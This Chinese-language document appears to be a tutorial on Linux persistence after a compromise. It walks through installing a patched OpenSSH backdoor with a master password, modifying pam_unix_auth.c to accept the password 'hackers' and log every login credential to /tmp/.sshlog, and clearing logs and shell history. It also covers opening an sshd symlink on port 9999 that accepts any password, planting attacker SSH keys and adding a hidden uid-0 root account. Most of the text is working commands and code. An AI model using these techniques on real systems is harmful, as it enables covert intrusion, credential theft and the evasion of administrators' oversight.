目录
案例一: 权限维持-Linux-替换版本-OpenSSH 后门
案例二: 权限维持-Linux-更改验证-SSH-PAM 后门
案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号
ssh软链接
公私钥
新帐号
案例一: 权限维持-Linux-替换版本-OpenSSH 后门
原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,
达到记录帐号密码,也可以采用万能密码连接的功能!
查看当前ssh的版本 ssh -V
OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017
环境准备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
yum -y install patch
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
安装依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel yum -y install gcc gcc-c++ make yum -y install patch
下载替换版本和后门文件
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
解压文件
tar -xzvf openssh-5.9p1.tar.gztar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
安装openssh
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1cd openssh-5.9p1 && patch < sshbd5.9p1.diff
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中
也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^
修改配置万能密码
修改版本,version.h文件
修改与之前版本一致
设置安装目录,编译并且安装
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
查看当前版本
连接,这种方式感觉不是很稳定哈。
这里连接的时候可能会出bug,尝试下面这篇文章的解决方法
SSH 服务 异常报错“Failed to start OpenSSH Server daemon” 该怎么办???-CSDN博客
有可能还是显示错误,但是可以连接了
利用admin!@#45去链接
修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范
恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
清除操作日志,代码如下。
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
案例二: 权限维持-Linux-更改验证-SSH-PAM 后门
pam相当于windows的kerberos
PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证
查询pam版本
rpm -qa | grep pam
下载对应的版本并且解压
wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8
安装必要的依赖
yum install gcc flex flex-devel -y
修改pam_unix_auth.c文件
cd Linux-PAM-1.1.1cd modules/pam_unix/vim pam_unix_auth.c
把179行的文件进行修改
hackers即为新的登录密码,可以进行修改
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
记得要对齐格式
编译安装
./configure && make
把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcpcd modules/pam_unix/.libscp pam_unix.so /usr/lib64/security/pam_unix.so
利用hackers登录
经过实验,这种方式比第一种稳定一点
更多进阶玩法:Linux Pam后门总结拓展 - 先知社区
案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号
ssh软链接
查看是否支持pam身份验证
cat /etc/ssh/sshd_config|grep UsePAM
建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上firewall-cmd --reload
#重启防火墙服务firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行
这个时候连接ssh的9999端口,密码可以随便输入
ssh root@ip -p 9999
但是缺点就是容易被发现,突然多开了一个端口。
公私钥
参考文章:SSH密钥登陆 - 哔哩哔哩
攻击主机生成公钥
ssh-keygen -t rsa #三次回车id_rsa : 私钥id_rsa.pub : 公钥
把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面
如果没有.ssh目录的话需要手工创建
创建文件,把id_rsa.pub中的内容复制过去
如果是自己创建的这两个文件记得修改权限
chmod 600 /root/.ssh/authorized_keyschmod 700 /root/.ssh
这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证
vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keysPasswordAuthentication no
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录
然后重启服务
systemctl restart sshd.service
再次连接的时候都不需要验证直接可以连接上
新帐号
两种方式
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd
#增加超级用户账号
passwd test2
#修改test2的密码为123456
方法一
利用test1密码123456连接,成功连接
方法二:
利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性